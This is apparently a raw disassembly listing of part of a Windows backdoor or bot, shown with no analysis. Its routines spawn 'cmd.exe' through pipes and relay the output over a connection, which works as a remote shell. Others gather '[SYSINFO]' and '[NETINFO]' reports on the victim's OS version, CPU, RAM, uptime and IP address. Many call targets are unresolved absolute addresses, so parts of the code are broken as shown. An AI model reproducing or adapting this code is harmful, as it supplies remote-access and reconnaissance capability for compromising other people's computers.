		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328

loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43B0F0

loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43B0E4
		call	near ptr 2780473h
		nop
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43B0E0
		call	near ptr 2780000h
		nop
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521

loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		nop
		call	near ptr 2610F41h
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------

loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9

loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499

loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi

loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43B0E4
		nop
		call	near ptr 2631104h
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43B124
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------

loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------

loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	1
		call	near ptr 26102D3h
		nop

loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26102D3h

loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26102D3h
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43B0E8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2780858h
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_436EDC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2760575h
		nop
		test	eax, eax
		jnz	short loc_40B66E

loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------

loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43B0E4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43B0EC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43B0E0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43B124, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------

loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx

loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43B0F0
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4407F8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		nop
		call	near ptr 2680AA6h
		cmp	eax, esi
		mov	dword_440804[edi], eax
		jnz	short loc_40B71A
		nop
		call	near ptr 265031Fh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax

loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2610763h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43B12C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 2791295h
		nop
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi

loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8

loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------

loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811

loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7

loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi

loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2610F41h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A

loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D

loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D

loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D

loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD

loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD

loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC

loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_436EDC
		mov	[ebp+var_CC], 94h
		call	near ptr 2791295h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"

loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------

loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2

loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC

loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA

loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43AC84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------

loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2670000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 27A0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4555p
					; sub_40EE72+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43AE80, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43AC68
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------

loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44

loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------

loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43ACA0
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43AD6C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43AD60
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43AD14
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------

loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60

loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h

loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43ADCC
		push	[ebp+var_4]
		call	dword_43ADCC
		push	[ebp+var_1D8]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43FA70
		mov	edi, 0B8h

